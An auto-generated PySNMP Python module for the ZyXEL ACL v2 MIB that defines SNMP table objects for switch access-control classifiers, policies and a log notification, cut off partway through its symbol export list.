[ "Apache-2.0" ]

10

2019-04-30T05:51:36.000Z

2022-02-16T03:33:41.000Z

# # PySNMP MIB module ZYXEL-AclV2-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-AclV2-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:43:03 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueRangeConstraint") InetAddress, = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddress") EnabledStatus, = mibBuilder.importSymbols("P-BRIDGE-MIB", "EnabledStatus") PortList, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "PortList") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter32, Integer32, Counter64, NotificationType, Bits, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier, TimeTicks, iso, Gauge32, Unsigned32, IpAddress, ObjectIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "Integer32", "Counter64", "NotificationType", "Bits", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "MibIdentifier", "TimeTicks", "iso", "Gauge32", "Unsigned32", "IpAddress", "ObjectIdentity") RowStatus, MacAddress, DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "MacAddress", "DisplayString", "TextualConvention") esMgmt, = mibBuilder.importSymbols("ZYXEL-ES-SMI", "esMgmt") zyxelAclV2 = ModuleIdentity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105)) if mibBuilder.loadTexts: zyxelAclV2.setLastUpdated('201207010000Z') if mibBuilder.loadTexts: zyxelAclV2.setOrganization('Enterprise Solution ZyXEL') zyxelAclV2ClassifierStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1)) zyxelAclV2PolicyStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2)) zyxelAclV2TrapInfoObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3)) zyxelAclV2Notifications = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4)) zyxelAclV2ClassifierTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierTable.setStatus('current') zyxelAclV2ClassifierEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierEntry.setStatus('current') zyAclV2ClassifierName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 1), DisplayString()) if mibBuilder.loadTexts: zyAclV2ClassifierName.setStatus('current') zyAclV2ClassifierState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierState.setStatus('current') zyAclV2ClassifierWeight = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierWeight.setStatus('current') zyAclV2ClassifierCountState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 4), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierCountState.setStatus('current') zyAclV2ClassifierLogState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 5), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierLogState.setStatus('current') zyAclV2ClassifierTimeRange = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 6), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierTimeRange.setStatus('current') zyAclV2ClassifierMatchCount = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierMatchCount.setStatus('current') zyxelAclV2ClassifierEthernetTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetTable.setStatus('current') zyxelAclV2ClassifierEthernetEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetEntry.setStatus('current') zyAclV2ClassifierEthernetSourcePorts = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 1), PortList()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourcePorts.setStatus('current') zyAclV2ClassifierEthernetSourceTrunks = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 2), PortList()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceTrunks.setStatus('current') zyAclV2ClassifierEthernetPacketFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("all", 1), ("ethernetIIUntagged", 2), ("ethernetIITagged", 3), ("ethernet802dot3Untagged", 4), ("ethernet802dot3Tagged", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetPacketFormat.setStatus('current') zyAclV2ClassifierEthernet8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernet8021pPriority.setStatus('current') zyAclV2ClassifierEthernetInner8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetInner8021pPriority.setStatus('current') zyAclV2ClassifierEthernetType = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetType.setStatus('current') zyAclV2ClassifierEthernetSourceMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 7), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMacAddress.setStatus('current') zyAclV2ClassifierEthernetSourceMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 8), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMACMask.setStatus('current') zyAclV2ClassifierEthernetDestinationMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 9), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMacAddress.setStatus('current') zyAclV2ClassifierEthernetDestinationMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 10), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMACMask.setStatus('current') zyxelAclV2ClassifierVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanTable.setStatus('current') zyxelAclV2ClassifierVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanEntry.setStatus('current') zyAclV2ClassifierVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap1k.setStatus('current') zyAclV2ClassifierVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap2k.setStatus('current') zyAclV2ClassifierVlanMap3k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap3k.setStatus('current') zyAclV2ClassifierVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap4k.setStatus('current') zyxelAclV2ClassifierInnerVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanTable.setStatus('current') zyxelAclV2ClassifierInnerVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanEntry.setStatus('current') zyAclV2ClassifierInnerVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap1k.setStatus('current') zyAclV2ClassifierInnerVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap2k.setStatus('current') zyAclV2ClassifierInnerVlanMap3k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap3k.setStatus('current') zyAclV2ClassifierInnerVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap4k.setStatus('current') zyxelAclV2ClassifierIpTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpTable.setStatus('current') zyxelAclV2ClassifierIpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpEntry.setStatus('current') zyAclV2ClassifierIpPacketLenRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeStart.setStatus('current') zyAclV2ClassifierIpPacketLenRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeEnd.setStatus('current') zyAclV2ClassifierIpDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDSCP.setStatus('current') zyAclV2ClassifierIpPrecedence = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPrecedence.setStatus('current') zyAclV2ClassifierIpToS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpToS.setStatus('current') zyAclV2ClassifierIpProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpProtocol.setStatus('current') zyAclV2ClassifierIpEstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 7), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpEstablishOnly.setStatus('current') zyAclV2ClassifierIpSourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 8), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpAddress.setStatus('current') zyAclV2ClassifierIpSourceIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpMaskBits.setStatus('current') zyAclV2ClassifierIpDestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 10), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpAddress.setStatus('current') zyAclV2ClassifierIpDestinationIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpMaskBits.setStatus('current') zyAclV2ClassifierIpSourceSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 12), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeStart.setStatus('current') zyAclV2ClassifierIpSourceSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 13), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeEnd.setStatus('current') zyAclV2ClassifierIpDestinationSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 14), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeStart.setStatus('current') zyAclV2ClassifierIpDestinationSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 15), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeEnd.setStatus('current') zyxelAclV2ClassifierIpv6Table = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Table.setStatus('current') zyxelAclV2ClassifierIpv6Entry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Entry.setStatus('current') zyAclV2ClassifierIPv6DSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DSCP.setStatus('current') zyAclV2ClassifierIPv6NextHeader = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6NextHeader.setStatus('current') zyAclV2ClassifierIPv6EstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 3), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6EstablishOnly.setStatus('current') zyAclV2ClassifierIPv6SourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 4), InetAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpAddress.setStatus('current') zyAclV2ClassifierIPv6SourceIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpPrefixLength.setStatus('current') zyAclV2ClassifierIPv6DestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 6), InetAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpAddress.setStatus('current') zyAclV2ClassifierIPv6DestinationIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpPrefixLength.setStatus('current') zyxelAclV2ClassifierMatchOrder = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auto", 1), ("manual", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierMatchOrder.setStatus('current') zyxelAclV2ClassifierLoggingState = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 8), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingState.setStatus('current') zyxelAclV2ClassifierLoggingInterval = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingInterval.setStatus('current') zyxelAclV2PolicyTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1), ) if mibBuilder.loadTexts: zyxelAclV2PolicyTable.setStatus('current') zyxelAclV2PolicyEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2PolicyName")) if mibBuilder.loadTexts: zyxelAclV2PolicyEntry.setStatus('current') zyAclV2PolicyName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 1), DisplayString()) if mibBuilder.loadTexts: zyAclV2PolicyName.setStatus('current') zyAclV2PolicyState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyState.setStatus('current') zyAclV2PolicyClassifier = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 3), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyClassifier.setStatus('current') zyAclV2PolicyVid = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyVid.setStatus('current') zyAclV2PolicyEgressPort = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyEgressPort.setStatus('current') zyAclV2Policy8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2Policy8021pPriority.setStatus('current') zyAclV2PolicyDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyDSCP.setStatus('current') zyAclV2PolicyTOS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyTOS.setStatus('current') zyAclV2PolicyBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyBandwidth.setStatus('current') zyAclV2PolicyOutOfProfileDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 10), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileDSCP.setStatus('current') zyAclV2PolicyForwardingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("noChange", 1), ("discardThePacket", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyForwardingAction.setStatus('current') zyAclV2PolicyPriorityAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("noChange", 1), ("setThePackets802dot1Priority", 2), ("sendThePacketToPriorityQueue", 3), ("replaceThe802dot1PriorityFieldWithTheIpTosValue", 4), ("replaceThe802dot1PriorityByInner802dot1Priority", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyPriorityAction.setStatus('current') zyAclV2PolicyDiffServAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("noChange", 1), ("setThePacketsTosField", 2), ("replaceTheIpTosFieldWithThe802dot1PriorityValue", 3), ("setTheDiffservCodepointFieldInTheFrame", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyDiffServAction.setStatus('current') zyAclV2PolicyOutgoingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 14), Bits().clone(namedValues=NamedValues(("sendThePacketToTheMirrorPort", 0), ("sendThePacketToTheEgressPort", 1), ("sendTheMatchingFramesToTheEgressPort", 2), ("setThePacketVlanId", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutgoingAction.setStatus('current') zyAclV2PolicyMeteringState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 15), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyMeteringState.setStatus('current') zyAclV2PolicyOutOfProfileAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 16), Bits().clone(namedValues=NamedValues(("dropThePacket", 0), ("changeTheDscpValue", 1), ("setOutDropPrecedence", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileAction.setStatus('current') zyAclV2PolicyRowstatus = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 17), RowStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyRowstatus.setStatus('current') zyAclV2PolicyQueueAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 18), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("noChange", 1), ("sendThePacketToPriorityQueue", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyQueueAction.setStatus('current') zyAclV2TrapClassifierLogMatchCount = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3, 1), Integer32()) if mibBuilder.loadTexts: zyAclV2TrapClassifierLogMatchCount.setStatus('current') zyAclV2ClassifierLogNotification = NotificationType((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4, 1)).setObjects(("ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"), ("ZYXEL-AclV2-MIB", "zyAclV2TrapClassifierLogMatchCount")) if mibBuilder.loadTexts: zyAclV2ClassifierLogNotification.setStatus('current') mibBuilder.exportSymbols("ZYXEL-AclV2-MIB", zyAclV2ClassifierInnerVlanMap1k=zyAclV2ClassifierInnerVlanMap1k, zyAclV2ClassifierIPv6DSCP=zyAclV2ClassifierIPv6DSCP, zyAclV2ClassifierEthernetInner8021pPriority=zyAclV2ClassifierEthernetInner8021pPriority, zyAclV2ClassifierInnerVlanMap4k=zyAclV2ClassifierInnerVlanMap4k, zyAclV2ClassifierEthernetPacketFormat=zyAclV2ClassifierEthernetPacketFormat, zyAclV2ClassifierVlanMap2k=zyAclV2ClassifierVlanMap2k, zyxelAclV2PolicyStatus=zyxelAclV2PolicyStatus, zyAclV2PolicyClassifier=zyAclV2PolicyClassifier, zyxelAclV2ClassifierInnerVlanTable=zyxelAclV2ClassifierInnerVlanTable, zyAclV2ClassifierIpEstablishOnly=zyAclV2ClassifierIpEstablishOnly, zyAclV2ClassifierEthernetType=zyAclV2ClassifierEthernetType, zyAclV2ClassifierEthernetSourceMacAddress=zyAclV2ClassifierEthernetSourceMacAddress, zyAclV2ClassifierIpSourceIpMaskBits=zyAclV2ClassifierIpSourceIpMaskBits, zyAclV2ClassifierEthernetDestinationMacAddress=zyAclV2ClassifierEthernetDestinationMacAddress, zyAclV2PolicyOutOfProfileDSCP=zyAclV2PolicyOutOfProfileDSCP, zyAclV2ClassifierIpDestinationSocketRangeEnd=zyAclV2ClassifierIpDestinationSocketRangeEnd, zyAclV2PolicyEgressPort=zyAclV2PolicyEgressPort, zyAclV2PolicyRowstatus=zyAclV2PolicyRowstatus, zyAclV2ClassifierEthernetSourceTrunks=zyAclV2ClassifierEthernetSourceTrunks, zyxelAclV2ClassifierInnerVlanEntry=zyxelAclV2ClassifierInnerVlanEntry, zyAclV2ClassifierLogNotification=zyAclV2ClassifierLogNotification, zyAclV2PolicyOutgoingAction=zyAclV2PolicyOutgoingAction, zyAclV2ClassifierIpDestinationIpAddress=zyAclV2ClassifierIpDestinationIpAddress, zyAclV2PolicyMeteringState=zyAclV2PolicyMeteringState, zyAclV2ClassifierInnerVlanMap2k=zyAclV2ClassifierInnerVlanMap2k, zyAclV2ClassifierIpPrecedence=zyAclV2ClassifierIpPrecedence, zyAclV2PolicyVid=zyAclV2PolicyVid, zyxelAclV2ClassifierEntry=zyxelAclV2ClassifierEntry, zyAclV2ClassifierIpDestinationIpMaskBits=zyAclV2ClassifierIpDestinationIpMaskBits, zyxelAclV2Notifications=zyxelAclV2Notifications, zyxelAclV2PolicyTable=zyxelAclV2PolicyTable, zyxelAclV2ClassifierMatchOrder=zyxelAclV2ClassifierMatchOrder, zyAclV2ClassifierIpDSCP=zyAclV2ClassifierIpDSCP, zyAclV2ClassifierWeight=zyAclV2ClassifierWeight, zyAclV2ClassifierMatchCount=zyAclV2ClassifierMatchCount, zyAclV2PolicyPriorityAction=zyAclV2PolicyPriorityAction, zyAclV2TrapClassifierLogMatchCount=zyAclV2TrapClassifierLogMatchCount, zyxelAclV2ClassifierEthernetEntry=zyxelAclV2ClassifierEthernetEntry, 